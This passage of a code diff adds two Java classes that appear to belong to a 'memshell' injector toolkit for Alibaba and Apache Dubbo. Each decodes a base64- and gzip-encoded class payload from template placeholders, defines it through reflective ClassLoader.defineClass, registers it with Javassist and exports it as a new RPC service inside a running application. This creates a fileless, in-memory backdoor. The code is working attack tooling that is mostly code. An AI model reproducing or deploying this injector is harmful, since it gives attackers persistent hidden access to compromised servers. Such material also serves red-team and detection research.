+    public String getUrlPattern() {
+        return "{{urlPattern}}";
+    }
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() {
+        return "{{base64Str}}";
+    }
+
+    public String getHelperBase64String() {
+        return "{{helperBase64String}}";
+    }
+
+    public AlibabaDubboServiceInjector() {
+        if (ok) {
+            return;
+        }
+        try {
+            msg += registerService();
+        } catch (Throwable e) {
+            msg += "unexcepted error: " + stackTrace(e);
+        }
+        ok = true;
+        System.out.println(msg);
+    }
+
+    public String registerService() throws Exception {
+        String servicePath = normalizePath(getUrlPattern());
+        if (servicePath.isEmpty()) {
+            throw new IllegalArgumentException("path must not be empty");
+        }
+
+        if (dynamicServices.containsKey(servicePath) || findRegisteredService(servicePath) != null) {
+            return resolveServiceAddresses(servicePath);
+        }
+
+        Class<?> serviceInterface = loadClass(getHelperBase64String());
+        Class<?> serviceImpl = loadClass(getBase64String());
+        validateServiceTypes(serviceInterface, serviceImpl);
+
+        ServiceConfig<?> serviceConfig = createServiceConfig(servicePath, serviceInterface, instantiate(serviceImpl));
+        if (dynamicServices.putIfAbsent(servicePath, serviceConfig) != null) {
+            return resolveServiceAddresses(servicePath);
+        }
+
+        try {
+            serviceConfig.export();
+            return resolveServiceAddresses(servicePath);
+        } catch (RuntimeException e) {
+            dynamicServices.remove(servicePath, serviceConfig);
+            throw e;
+        }
+    }
+
+    private Class<?> loadClass(String payload) throws Exception {
+        ClassLoader classLoader = ClassHelper.getClassLoader(ClassGenerator.class);
+        byte[] classBytes = gzipDecompress(decodeBase64(payload));
+        definePackageIfNeeded(classLoader, getClassName());
+        Class<?> loadedClass = defineClass(classLoader, classBytes);
+        registerInJavassistClassPool(classLoader, classBytes);
+        return loadedClass;
+    }
+
+    private Class<?> defineClass(ClassLoader classLoader, byte[] classBytes) throws Exception {
+        ProtectionDomain protectionDomain = ClassGenerator.class.getProtectionDomain();
+        Method defineClass = ClassLoader.class.getDeclaredMethod(
+                "defineClass",
+                String.class,
+                byte[].class,
+                int.class,
+                int.class,
+                ProtectionDomain.class
+        );
+        defineClass.setAccessible(true);
+        return (Class<?>) defineClass.invoke(classLoader, null, classBytes, 0, classBytes.length, protectionDomain);
+    }
+
+    private void definePackageIfNeeded(ClassLoader classLoader, String className) {
+        int packageEnd = className.lastIndexOf('.');
+        if (packageEnd < 0) {
+            return;
+        }
+
+        String packageName = className.substring(0, packageEnd);
+        try {
+            Method getPackage = ClassLoader.class.getDeclaredMethod("getPackage", String.class);
+            getPackage.setAccessible(true);
+            if (getPackage.invoke(classLoader, packageName) != null) {
+                return;
+            }
+
+            Method definePackage = ClassLoader.class.getDeclaredMethod(
+                    "definePackage",
+                    String.class,
+                    String.class,
+                    String.class,
+                    String.class,
+                    String.class,
+                    String.class,
+                    String.class,
+                    java.net.URL.class
+            );
+            definePackage.setAccessible(true);
+            definePackage.invoke(classLoader, packageName, null, null, null, null, null, null, null);
+        } catch (Exception ignored) {
+            // Defining the package is a convenience for older class loaders. The class can still load without it.
+        }
+    }
+
+    private void registerInJavassistClassPool(ClassLoader classLoader, byte[] classBytes) {
+        try {
+            ClassPool classPool = ClassGenerator.getClassPool(classLoader);
+            classPool.makeClass(new ByteArrayInputStream(classBytes));
+        } catch (Throwable ignored) {
+            // Dubbo's proxy generator can still resolve already-defined classes if Javassist registration fails.
+        }
+    }
+
+    private static byte[] decodeBase64(String value) throws Exception {
+        Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
+        return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, value);
+    }
+
+    private static byte[] gzipDecompress(byte[] bytes) throws Exception {
+        GZIPInputStream inputStream = null;
+        ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
+        try {
+            inputStream = new GZIPInputStream(new ByteArrayInputStream(bytes));
+            byte[] buffer = new byte[4096];
+            int read;
+            while ((read = inputStream.read(buffer)) > 0) {
+                outputStream.write(buffer, 0, read);
+            }
+            return outputStream.toByteArray();
+        } finally {
+            if (inputStream != null) {
+                inputStream.close();
+            }
+            outputStream.close();
+        }
+    }
+
+    private void validateServiceTypes(Class<?> serviceInterface, Class<?> serviceImpl) {
+        if (!serviceInterface.isInterface()) {
+            throw new IllegalArgumentException("not an interface: " + serviceInterface.getName());
+        }
+        if (serviceImpl.isInterface() || Modifier.isAbstract(serviceImpl.getModifiers())) {
+            throw new IllegalArgumentException("implementation class is not instantiable: " + serviceImpl.getName());
+        }
+        if (!serviceInterface.isAssignableFrom(serviceImpl)) {
+            throw new IllegalArgumentException(serviceImpl.getName() + " does not implement " + serviceInterface.getName());
+        }
+    }
+
+    private Object instantiate(Class<?> serviceImpl) {
+        try {
+            Constructor<?> constructor = serviceImpl.getDeclaredConstructor();
+            constructor.setAccessible(true);
+            return constructor.newInstance();
+        } catch (Exception e) {
+            throw new IllegalArgumentException("failed to instantiate " + serviceImpl.getName(), e);
+        }
+    }
+
+    private ServiceConfig<Object> createServiceConfig(String servicePath, Class<?> serviceInterface, Object serviceImpl) {
+        ServiceConfig<Object> serviceConfig = new ServiceConfig<Object>();
+        serviceConfig.setInterface(serviceInterface);
+        serviceConfig.setRef(serviceImpl);
+        serviceConfig.setPath(servicePath);
+
+        ProviderConfig providerConfig = findProviderConfig();
+        if (providerConfig != null) {
+            serviceConfig.setProvider(providerConfig);
+            if (notEmpty(providerConfig.getVersion())) {
+                serviceConfig.setVersion(providerConfig.getVersion());
+            }
+        }
+
+        ApplicationConfig applicationConfig = findApplicationConfig(providerConfig);
+        if (applicationConfig != null) {
+            serviceConfig.setApplication(applicationConfig);
+        }
+
+        List<ProtocolConfig> protocolConfigs = findProtocolConfigs(providerConfig);
+        if (!protocolConfigs.isEmpty()) {
+            serviceConfig.setProtocols(protocolConfigs);
+        }
+
+        List<RegistryConfig> registryConfigs = findRegistryConfigs(providerConfig, applicationConfig);
+        if (!registryConfigs.isEmpty()) {
+            serviceConfig.setRegistries(registryConfigs);
+        }
+
+        return serviceConfig;
+    }
+
+    private ServiceConfig<?> findRegisteredService(String servicePath) {
+        String normalizedPath = normalizePath(servicePath);
+        for (ProviderModel providerModel : providerModels()) {
+            ServiceConfig<?> serviceConfig = providerModel.getMetadata();
+            if (serviceConfig != null && normalizedPath.equals(normalizePath(serviceConfig.getPath()))) {
+                return serviceConfig;
+            }
+        }
+        return null;
+    }
+
+    private ProviderConfig findProviderConfig() {
+        for (ProviderModel providerModel : providerModels()) {
+            ServiceConfig<?> serviceConfig = providerModel.getMetadata();
+            if (serviceConfig != null && serviceConfig.getProvider() != null) {
+                return serviceConfig.getProvider();
+            }
+        }
+        return null;
+    }
+
+    private ApplicationConfig findApplicationConfig(ProviderConfig providerConfig) {
+        if (providerConfig != null && providerConfig.getApplication() != null) {
+            return providerConfig.getApplication();
+        }
+
+        for (ProviderModel providerModel : providerModels()) {
+            com.alibaba.dubbo.config.ServiceConfig<?> serviceConfig = providerModel.getMetadata();
+            if (serviceConfig == null) {
+                continue;
+            }
+            if (serviceConfig.getApplication() != null) {
+                return serviceConfig.getApplication();
+            }
+            if (serviceConfig.getProvider() != null && serviceConfig.getProvider().getApplication() != null) {
+                return serviceConfig.getProvider().getApplication();
+            }
+        }
+        return null;
+    }
+
+    private List<ProtocolConfig> findProtocolConfigs(ProviderConfig providerConfig) {
+        List<ProtocolConfig> protocols = new ArrayList<ProtocolConfig>();
+        addProtocols(protocols, providerConfig == null ? null : providerConfig.getProtocols());
+        for (ProviderModel providerModel : providerModels()) {
+            ServiceConfig<?> serviceConfig = providerModel.getMetadata();
+            if (serviceConfig == null) {
+                continue;
+            }
+            addProtocols(protocols, serviceConfig.getProtocols());
+            addProtocols(protocols, serviceConfig.getProvider() == null ? null : serviceConfig.getProvider().getProtocols());
+        }
+        return uniqueProtocols(protocols);
+    }
+
+    private List<RegistryConfig> findRegistryConfigs(ProviderConfig providerConfig, ApplicationConfig applicationConfig) {
+        List<RegistryConfig> registries = registries(providerConfig == null ? null : providerConfig.getRegistries());
+        if (!registries.isEmpty()) {
+            return registries;
+        }
+
+        registries = registries(applicationConfig == null ? null : applicationConfig.getRegistries());
+        if (!registries.isEmpty()) {
+            return registries;
+        }
+
+        for (ProviderModel providerModel : providerModels()) {
+            ServiceConfig<?> serviceConfig = providerModel.getMetadata();
+            if (serviceConfig == null) {
+                continue;
+            }
+
+            registries = registries(serviceConfig.getRegistries());
+            if (!registries.isEmpty()) {
+                return registries;
+            }
+
+            ProviderConfig serviceProvider = serviceConfig.getProvider();
+            registries = registries(serviceProvider == null ? null : serviceProvider.getRegistries());
+            if (!registries.isEmpty()) {
+                return registries;
+            }
+
+            ApplicationConfig serviceApplication = serviceConfig.getApplication();
+            registries = registries(serviceApplication == null ? null : serviceApplication.getRegistries());
+            if (!registries.isEmpty()) {
+                return registries;
+            }
+        }
+
+        return new ArrayList<RegistryConfig>();
+    }
+
+    private String resolveServiceAddresses(String servicePath) {
+        String normalizedPath = normalizePath(servicePath);
+        ServiceConfig<?> serviceConfig = dynamicServices.get(normalizedPath);
+        if (serviceConfig == null) {
+            serviceConfig = findRegisteredService(normalizedPath);
+        }
+        if (serviceConfig == null) {
+            return normalizedPath;
+        }
+
+        List<URL> exportedUrls = serviceConfig.getExportedUrls();
+        if (exportedUrls != null && !exportedUrls.isEmpty()) {
+            return formatUrls(exportedUrls);
+        }
+
+        List<ProtocolConfig> protocols = uniqueProtocols(serviceConfig.getProtocols());
+        if (protocols.isEmpty() && serviceConfig.getProvider() != null) {
+            protocols = uniqueProtocols(serviceConfig.getProvider().getProtocols());
+        }
+        if (protocols.isEmpty()) {
+            return normalizedPath;
+        }
+
+        return formatProtocolAddresses(protocols, normalizedPath);
+    }
+
+    private String formatUrls(List<URL> urls) {
+        StringBuilder builder = new StringBuilder();
+        for (URL url : urls) {
+            if (builder.length() > 0) {
+                builder.append(", ");
+            }
+            builder.append(formatUrl(url));
+        }
+        return builder.toString();
+    }
+
+    private String formatProtocolAddresses(List<ProtocolConfig> protocols, String path) {
+        StringBuilder builder = new StringBuilder();
+        for (ProtocolConfig protocol : protocols) {
+            if (builder.length() > 0) {
+                builder.append(", ");
+            }
+            builder.append(formatProtocolAddress(protocol, path));
+        }
+        return builder.toString();
+    }
+
+    private String formatUrl(URL url) {
+        String path = normalizePath(url.getPath());
+        int port = url.getPort();
+        return port > 0
+                ? String.format("%s://%s:%d/%s", url.getProtocol(), DISPLAY_HOST, port, path)
+                : String.format("%s://%s/%s", url.getProtocol(), DISPLAY_HOST, path);
+    }
+
+    private String formatProtocolAddress(ProtocolConfig protocol, String path) {
+        String protocolName = notEmpty(protocol.getName()) ? protocol.getName() : "dubbo";
+        Integer port = protocol.getPort();
+        return port != null && port > 0
+                ? String.format("%s://%s:%d/%s", protocolName, DISPLAY_HOST, port, path)
+                : String.format("%s://%s/%s", protocolName, DISPLAY_HOST, path);
+    }
+
+    private List<ProviderModel> providerModels() {
+        try {
+            return ApplicationModel.allProviderModels();
+        } catch (Throwable ignored) {
+            return new ArrayList<ProviderModel>();
+        }
+    }
+
+    private void addProtocols(List<ProtocolConfig> target, List<ProtocolConfig> source) {
+        if (source != null) {
+            target.addAll(source);
+        }
+    }
+
+    private List<ProtocolConfig> uniqueProtocols(List<ProtocolConfig> protocols) {
+        Map<String, ProtocolConfig> unique = new LinkedHashMap<String, ProtocolConfig>();
+        if (protocols != null) {
+            for (ProtocolConfig protocol : protocols) {
+                if (protocol != null) {
+                    unique.put(protocolKey(protocol), protocol);
+                }
+            }
+        }
+        return new ArrayList<ProtocolConfig>(unique.values());
+    }
+
+    private List<RegistryConfig> registries(List<RegistryConfig> registries) {
+        return registries == null ? new ArrayList<RegistryConfig>() : new ArrayList<RegistryConfig>(registries);
+    }
+
+    private String protocolKey(ProtocolConfig protocol) {
+        return String.valueOf(protocol.getName())
+                + "|"
+                + String.valueOf(protocol.getHost())
+                + "|"
+                + String.valueOf(protocol.getPort())
+                + "|"
+                + String.valueOf(protocol.getServer())
+                + "|"
+                + String.valueOf(protocol.getId());
+    }
+
+    private String normalizePath(String path) {
+        if (path == null) {
+            return "";
+        }
+
+        String normalized = path.trim();
+        while (normalized.startsWith("/")) {
+            normalized = normalized.substring(1);
+        }
+        return normalized;
+    }
+
+    private boolean notEmpty(String value) {
+        return value != null && !value.isEmpty();
+    }
+
+    private String stackTrace(Throwable throwable) {
+        StringWriter writer = new StringWriter();
+        throwable.printStackTrace(new PrintWriter(writer));
+        return writer.toString();
+    }
+}
@@ -0,0 +1,616 @@
+package com.reajason.javaweb.memshell.injector.dubbo;
+
+import javassist.ClassPool;
+import org.apache.dubbo.common.bytecode.ClassGenerator;
+import org.apache.dubbo.config.*;
+import org.apache.dubbo.rpc.model.ApplicationModel;
+
+import java.io.*;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.lang.reflect.Modifier;
+import java.security.ProtectionDomain;
+import java.util.*;
+import java.util.concurrent.ConcurrentHashMap;
+import java.util.stream.Collectors;
+import java.util.zip.GZIPInputStream;
+
+public class ApacheDubboServiceInjector {
+    private final Map<String, ServiceConfig<?>> DYNAMIC_SERVICES = new ConcurrentHashMap<>();
+    private static final String DISPLAY_HOST = "x.x.x.x";
+    private static String msg = "";
+    private static boolean ok = false;
+
+    public String getUrlPattern() {
+        return "{{urlPattern}}";
+    }
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() {
+        return "{{base64Str}}";
+    }
+
+    public String getHelperBase64String() {
+        return "{{helperBase64String}}";
+    }
+
+    public ApacheDubboServiceInjector() {
+        if (ok) {
+            return;
+        }
+        try {
+            msg += registerService();
+        } catch (Throwable e) {
+            msg += "unexcepted error: " + getErrorMessage(e);
+        }
+        ok = true;
+        System.out.println(msg);
+    }
+
+    private Class<?> loadClass(String payload) throws Exception {
+        ClassLoader classLoader = resolveDubboClassLoader();
+        byte[] classBytes = gzipDecompress(decodeBase64(payload));
+        definePackageIfNeeded(classLoader, getClassName());
+        Class<?> loadedClass = defineClass(classLoader, classBytes);
+        registerInJavassistClassPool(classLoader, loadedClass.getName(), classBytes);
+        msg += "[" + classLoader.getClass().getName() + "] ";
+        return loadedClass;
+    }
+
+    private ClassLoader resolveDubboClassLoader() {
+        ClassLoader classLoader = invokeDubboClassLoader("org.apache.dubbo.common.utils.ClassHelper");
+        if (classLoader != null) {
+            return classLoader;
+        }
+        classLoader = invokeDubboClassLoader("org.apache.dubbo.common.utils.ClassUtils");
+        if (classLoader != null) {
+            return classLoader;
+        }
+        classLoader = ClassGenerator.class.getClassLoader();
+        return classLoader != null ? classLoader : Thread.currentThread().getContextClassLoader();
+    }
+
+    private ClassLoader invokeDubboClassLoader(String className) {
+        try {
+            Class<?> helperClass = Class.forName(className);
+            return (ClassLoader) helperClass.getMethod("getClassLoader", Class.class).invoke(null, ClassGenerator.class);
+        } catch (Throwable ignored) {
+            return null;
+        }
+    }
+
+    private Class<?> defineClass(ClassLoader classLoader, byte[] classBytes) throws Exception {
+        ProtectionDomain protectionDomain = ClassGenerator.class.getProtectionDomain();
+        Method defineClass = ClassLoader.class.getDeclaredMethod(
+                "defineClass",
+                String.class,
+                byte[].class,
+                int.class,
+                int.class,
+                ProtectionDomain.class
+        );
+        defineClass.setAccessible(true);
+        return (Class<?>) defineClass.invoke(classLoader, null, classBytes, 0, classBytes.length, protectionDomain);
+    }
+
+    private void definePackageIfNeeded(ClassLoader classLoader, String className) {
+        int packageEnd = className.lastIndexOf('.');
+        if (packageEnd < 0) {
+            return;
+        }
+        String packageName = className.substring(0, packageEnd);
+        try {
+            Method getPackage = ClassLoader.class.getDeclaredMethod("getPackage", String.class);
+            getPackage.setAccessible(true);
+            if (getPackage.invoke(classLoader, packageName) != null) {
+                return;
+            }
+            Method definePackage = ClassLoader.class.getDeclaredMethod(
+                    "definePackage",
+                    String.class,
+                    String.class,
+                    String.class,
+                    String.class,
+                    String.class,
+                    String.class,
+                    String.class,
+                    java.net.URL.class
+            );
+            definePackage.setAccessible(true);
+            definePackage.invoke(classLoader, packageName, null, null, null, null, null, null, null);
+        } catch (Exception ignored) {
+        }
+    }
+
+    public String toString() {
+        return msg;
+    }
+
+    private void registerInJavassistClassPool(ClassLoader classLoader, String className, byte[] classBytes) {
+        try {
+            ClassPool classPool = ClassGenerator.getClassPool(classLoader);
+            try {
+                classPool.getClass().getMethod("makeClassIfNew", InputStream.class).invoke(classPool, new ByteArrayInputStream(classBytes));
+            } catch (NoSuchMethodException e) {
+                classPool.getClass().getMethod("makeClass", InputStream.class).invoke(classPool, new ByteArrayInputStream(classBytes));
+            }
+        } catch (Throwable ignored) {
+        }
+        insertByteArrayClassPath(className, classLoader, classBytes);
+    }
+
+    private void insertByteArrayClassPath(String className, ClassLoader classLoader, byte[] classBytes) {
+        try {
+            Class<?> classPoolClass = Class.forName("javassist.ClassPool");
+            Class<?> classPathClass = Class.forName("javassist.ClassPath");
+            Class<?> byteArrayClassPathClass = Class.forName("javassist.ByteArrayClassPath");
+            insertClassPath(classPoolClass.getMethod("getDefault").invoke(null), classPoolClass, classPathClass, byteArrayClassPathClass, className, classBytes);
+            insertClassPath(ClassGenerator.getClassPool(classLoader), classPoolClass, classPathClass, byteArrayClassPathClass, className, classBytes);
+        } catch (Throwable ignored) {
+        }
+    }
+
+    private void insertClassPath(Object classPool, Class<?> classPoolClass, Class<?> classPathClass, Class<?> byteArrayClassPathClass, String className, byte[] classBytes) throws Exception {
+        if (classPoolClass.getMethod("find", String.class).invoke(classPool, className) == null) {
+            classPoolClass.getMethod("insertClassPath", classPathClass).invoke(classPool, byteArrayClassPathClass.getConstructor(String.class, byte[].class).newInstance(className, classBytes));
+        }
+    }
+
+    public static byte[] decodeBase64(String str) throws Exception {
+        return Base64.getDecoder().decode(str);
+    }
+
+    public static byte[] gzipDecompress(byte[] bArr) throws IOException {
+        try (ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
+             GZIPInputStream gZIPInputStream = new GZIPInputStream(new ByteArrayInputStream(bArr))) {
+            byte[] bArr2 = new byte[4096];
+            int i;
+            while ((i = gZIPInputStream.read(bArr2)) > 0) {
+                byteArrayOutputStream.write(bArr2, 0, i);
+            }
+            return byteArrayOutputStream.toByteArray();
+        }
+    }
+
+    public String registerService() throws Exception {
+        String strNormalizePath = normalizePath(getUrlPattern());
+        if (strNormalizePath.isEmpty()) {
+            throw new IllegalArgumentException("path must not be empty");
+        }
+        if (!DYNAMIC_SERVICES.containsKey(strNormalizePath) && !isPathRegisteredInFramework(strNormalizePath)) {
+            Class<?> shell = loadClass(getHelperBase64String());
+            Class<?> shell2 = loadClass(getBase64String());
+            validateServiceTypes(shell, shell2);
+            ServiceConfig<?> serviceConfigCreateServiceConfig = createServiceConfig(strNormalizePath, shell, instantiate(shell2));
+            if (DYNAMIC_SERVICES.putIfAbsent(strNormalizePath, serviceConfigCreateServiceConfig) != null) {
+                return resolveServiceAddresses(strNormalizePath);
+            }
+            try {
+                serviceConfigCreateServiceConfig.export();
+                return resolveServiceAddresses(strNormalizePath);
+            } catch (RuntimeException e) {
+                DYNAMIC_SERVICES.remove(strNormalizePath, serviceConfigCreateServiceConfig);
+                throw e;
+            }
+        }
+        return resolveServiceAddresses(strNormalizePath);
+    }
+
+    private boolean isPathRegisteredInFramework(String str) {
+        try {
+            for (Object obj : getRegisteredServices()) {
+                if (str.equals(obj.getClass().getMethod("getPath").invoke(obj))) {
+                    return true;
+                }
+            }
+            return false;
+        } catch (Exception e) {
+            return false;
+        }
+    }
+
+    private Collection<?> getRegisteredServices() {
+        try {
+            Object configManager = resolveConfigManager();
+            return toList(invokeNoArgs(configManager, "getServices"));
+        } catch (Exception e) {
+            try {
+                Object objInvoke = ApplicationModel.class.getMethod("defaultModel").invoke(null);
+                Object objInvoke2 = objInvoke.getClass().getMethod("getDefaultModule").invoke(objInvoke);
+                Object objInvoke3 = objInvoke2.getClass().getMethod("getConfigManager").invoke(objInvoke2);
+                return toList(invokeNoArgs(objInvoke3, "getServices"));
+            } catch (Exception e2) {
+                return new ArrayList<>();
+            }
+        }
+    }
+
+    private String normalizePath(String str) {
+        if (str == null) {
+            return "";
+        }
+        String strTrim = str.trim();
+        while (true) {
+            String str2 = strTrim;
+            if (!str2.startsWith("/")) {
+                return str2;
+            }
+            strTrim = str2.substring(1);
+        }
+    }
+
+    private void validateServiceTypes(Class<?> cls, Class<?> cls2) {
+        if (!cls.isInterface()) {
+            throw new IllegalArgumentException("not an interface: " + cls.getName());
+        }
+        if (cls2.isInterface() || Modifier.isAbstract(cls2.getModifiers())) {
+            throw new IllegalArgumentException("implementation class is not instantiable: " + cls2.getName());
+        }
+        if (!cls.isAssignableFrom(cls2)) {
+            throw new IllegalArgumentException(cls2.getName() + " does not implement " + cls.getName());
+        }
+    }
+
+    private Object instantiate(Class<?> cls) {
+        try {
+            Constructor<?> declaredConstructor = cls.getDeclaredConstructor();
+            declaredConstructor.setAccessible(true);
+            return declaredConstructor.newInstance();
+        } catch (Exception e) {
+            throw new IllegalArgumentException("failed to instantiate " + cls.getName(), e);
+        }
+    }
+
+    private ServiceConfig<Object> createServiceConfig(String str, Class<?> cls, Object obj) {
+        Object configManager = resolveConfigManager();
+        ProviderConfig providerConfigResolveDefaultProvider = resolveDefaultProvider(configManager);
+        ProviderConfig providerConfigSanitizeProviderConfig = sanitizeProviderConfig(providerConfigResolveDefaultProvider);
+        ServiceConfig<Object> serviceConfig = new ServiceConfig<>();
+        serviceConfig.setInterface(cls);
+        serviceConfig.setRef(obj);
+        serviceConfig.setPath(str);
+        serviceConfig.setProxy("jdk");
+        if (providerConfigSanitizeProviderConfig != null) {
+            serviceConfig.setProvider(providerConfigSanitizeProviderConfig);
+        }
+        ApplicationConfig applicationConfig = castApplicationConfig(extractOptionalValue(invokeNoArgs(configManager, "getApplication")));
+        if (applicationConfig != null) {
+            serviceConfig.setApplication(applicationConfig);
+        }
+        String strResolveConfiguredVersion = resolveConfiguredVersion(providerConfigResolveDefaultProvider);
+        if (strResolveConfiguredVersion != null) {
+            serviceConfig.setVersion(strResolveConfiguredVersion);
+        }
+        serviceConfig.setProtocols(resolveConfiguredProtocols(providerConfigResolveDefaultProvider, configManager));
+        serviceConfig.setRegistries(resolveRegistriesForExport(castRegistries(toList(invokeNoArgs(configManager, "getDefaultRegistries"))), castRegistries(toList(invokeNoArgs(configManager, "getRegistries")))));
+        return serviceConfig;
+    }
+
+    private ProviderConfig resolveDefaultProvider(Object obj) {
+        ProviderConfig providerConfigCastProviderConfig = castProviderConfig(extractOptionalValue(invokeNoArgs(obj, "getDefaultProvider")));
+        if (providerConfigCastProviderConfig != null) {
+            return providerConfigCastProviderConfig;
+        }
+        Object objInvokeNoArgs = invokeNoArgs(obj, "getDefaultModule");
+        if (objInvokeNoArgs == null) {
+            objInvokeNoArgs = invokeNoArgs(invokeStaticNoArgs(ApplicationModel.class, "defaultModel"), "getDefaultModule");
+        }
+        Object objInvokeNoArgs2 = invokeNoArgs(objInvokeNoArgs, "getConfigManager");
+        ProviderConfig providerConfigCastProviderConfig2 = castProviderConfig(extractOptionalValue(invokeNoArgs(objInvokeNoArgs2, "getDefaultProvider")));
+        return providerConfigCastProviderConfig2 != null ? providerConfigCastProviderConfig2 : castProviderConfig(firstElement(toList(invokeNoArgs(objInvokeNoArgs2, "getProviders"))));
+    }
+
+    private ProviderConfig sanitizeProviderConfig(ProviderConfig providerConfig) {
+        if (providerConfig == null) {
+            return null;
+        }
+        List registries = providerConfig.getRegistries();
+        if (registries == null || filterValidRegistries(registries).size() == registries.size()) {
+            return providerConfig;
+        }
+        return null;
+    }
+
+    private List<RegistryConfig> filterValidRegistries(Collection<RegistryConfig> collection) {
+        if (collection == null) {
+            return new ArrayList<>();
+        }
+        return collection.stream()
+                .filter(registryConfig -> registryConfig != null && registryConfig.isValid())
+                .collect(Collectors.toList());
+    }
+
+    private List<RegistryConfig> resolveRegistriesForExport(Collection<RegistryConfig> collection, Collection<RegistryConfig> collection2) {
+        List<RegistryConfig> listFilterValidRegistries = filterValidRegistries(collection);
+        if (!listFilterValidRegistries.isEmpty()) {
+            return listFilterValidRegistries;
+        }
+        List<RegistryConfig> listFilterValidRegistries2 = filterValidRegistries(collection2);
+        return !listFilterValidRegistries2.isEmpty() ? listFilterValidRegistries2 : Collections.singletonList(new RegistryConfig("N/A"));
+    }
+
+    private String resolveConfiguredVersion(Object obj) {
+        return stringValue(invokeNoArgs(obj, "getVersion"), null);
+    }
+
+    private List<ProtocolConfig> resolveConfiguredProtocols(ProviderConfig providerConfig, Object configManager) {
+        return resolveConfiguredProtocols(providerConfig, configManager, getRegisteredServices());
+    }
+
+    private List<ProtocolConfig> resolveConfiguredProtocols(ProviderConfig providerConfig, Object configManager, Collection<?> collection) {
+        return mergeProtocols(mergeProtocols(mergeProtocols(providerConfig == null ? null : providerConfig.getProtocols(), castProtocols(toList(invokeNoArgs(configManager, "getDefaultProtocols")))), castProtocols(toList(invokeNoArgs(configManager, "getProtocols")))), collectProtocolsFromServices(collection));
+    }
+
+    private List<ProtocolConfig> collectProtocolsFromServices(Collection<?> collection) {
+        List<ProtocolConfig> arrayList = new ArrayList<>();
+        if (collection != null) {
+            try {
+                for (Object service : collection) {
+                    try {
+                        arrayList.addAll(castProtocols(toList(invokeNoArgs(service, "getProtocols"))));
+                    } catch (Exception e) {
+                    }
+                }
+            } catch (Exception e2) {
+            }
+        }
+        try {
+            for (Object exportedProvider : getExportedProviders()) {
+                try {
+                    Object objInvokeNoArgs = invokeNoArgs(exportedProvider, "getServiceConfig");
+                    if (objInvokeNoArgs != null) {
+                        arrayList.addAll(castProtocols(toList(invokeNoArgs(objInvokeNoArgs, "getProtocols"))));
+                    }
+                } catch (Exception e3) {
+                }
+            }
+        } catch (Exception e4) {
+        }
+        return arrayList;
+    }
+
+    private Collection<?> getExportedProviders() {
+        try {
+            Object objInvoke = ApplicationModel.class.getMethod("getServiceRepository").invoke(null);
+            return (Collection) objInvoke.getClass().getMethod("getExportedServices").invoke(objInvoke);
+        } catch (Exception e) {
+            try {
+                Object objInvoke2 = ApplicationModel.class.getMethod("defaultModel").invoke(null);
+                Object objInvoke3 = objInvoke2.getClass().getMethod("getDefaultModule").invoke(objInvoke2);
+                Object objInvoke4 = objInvoke3.getClass().getMethod("getServiceRepository").invoke(objInvoke3);
+                return (Collection) objInvoke4.getClass().getMethod("getExportedServices").invoke(objInvoke4);
+            } catch (Exception e2) {
+                return new ArrayList<>();
+            }
+        }
+    }
+
+    private String resolveServiceAddresses(String str) {
+        String strNormalizePath = normalizePath(str);
+        Object objFindRegisteredService = DYNAMIC_SERVICES.get(strNormalizePath);
+        if (objFindRegisteredService == null) {
+            objFindRegisteredService = findRegisteredService(strNormalizePath);
+        }
+        if (objFindRegisteredService == null) {
+            return strNormalizePath;
+        }
+        List<?> listExtractExportedUrls = extractExportedUrls(objFindRegisteredService);
+        if (!listExtractExportedUrls.isEmpty()) {
+            return formatUrls(listExtractExportedUrls);
+        }
+        List<?> listResolveProtocols = resolveProtocols(objFindRegisteredService);
+        if (listResolveProtocols.isEmpty()) {
+            return strNormalizePath;
+        }
+        return formatProtocolAddresses(listResolveProtocols, strNormalizePath);
+    }
+
+    private Object findRegisteredService(String str) {
+        for (Object obj : getRegisteredServices()) {
+            if (str.equals(normalizePath(stringValue(invokeNoArgs(obj, "getPath"), "")))) {
+                return obj;
+            }
+        }
+        return null;
+    }
+
+    private List<?> extractExportedUrls(Object obj) {
+        List<?> list = toList(invokeNoArgs(obj, "getExportedUrls"));
+        if (!list.isEmpty()) {
+            return list;
+        }
+        List<?> list2 = toList(getFieldValue(obj, "exporters"));
+        if (list2.isEmpty()) {
+            return new ArrayList<>();
+        }
+        List<Object> arrayList = new ArrayList<>();
+        for (Object exporter : list2) {
+            Object objInvokeNoArgs = invokeNoArgs(invokeNoArgs(exporter, "getInvoker"), "getUrl");
+            if (objInvokeNoArgs != null) {
+                arrayList.add(objInvokeNoArgs);
+            }
+        }
+        return arrayList;
+    }
+
+    private List<?> resolveProtocols(Object obj) {
+        List<?> list = toList(invokeNoArgs(obj, "getProtocols"));
+        Object objInvokeNoArgs = invokeNoArgs(obj, "getProvider");
+        List<ProtocolConfig> listResolveConfiguredProtocols = resolveConfiguredProtocols(objInvokeNoArgs instanceof ProviderConfig ? (ProviderConfig) objInvokeNoArgs : null, resolveConfigManager());
+        return list.isEmpty() ? listResolveConfiguredProtocols : mergeProtocols(castProtocols(list), listResolveConfiguredProtocols);
+    }
+
+    private Object invokeNoArgs(Object obj, String str) {
+        if (obj == null) {
+            return null;
+        }
+        try {
+            return obj.getClass().getMethod(str).invoke(obj);
+        } catch (Exception e) {
+            return null;
+        }
+    }
+
+    private Object invokeStaticNoArgs(Class<?> cls, String str) {
+        try {
+            return cls.getMethod(str).invoke(null);
+        } catch (Exception e) {
+            return null;
+        }
+    }
+
+    private Object getFieldValue(Object obj, String str) {
+        if (obj == null) {
+            return null;
+        }
+        Class<?> superclass = obj.getClass();
+        while (true) {
+            Class<?> cls = superclass;
+            if (cls == null) {
+                return null;
+            }
+            try {
+                Field declaredField = cls.getDeclaredField(str);
+                declaredField.setAccessible(true);
+                return declaredField.get(obj);
+            } catch (Exception e) {
+                superclass = cls.getSuperclass();
+            }
+        }
+    }
+
+    private List<?> toList(Object obj) {
+        Object value = extractOptionalValue(obj);
+        if (value instanceof Collection) {
+            return new ArrayList<>((Collection<?>) value);
+        }
+        if (value instanceof Map) {
+            return new ArrayList<>(((Map<?, ?>) value).values());
+        }
+        return new ArrayList<>();
+    }
+
+    private Object extractOptionalValue(Object obj) {
+        if (obj instanceof Optional) {
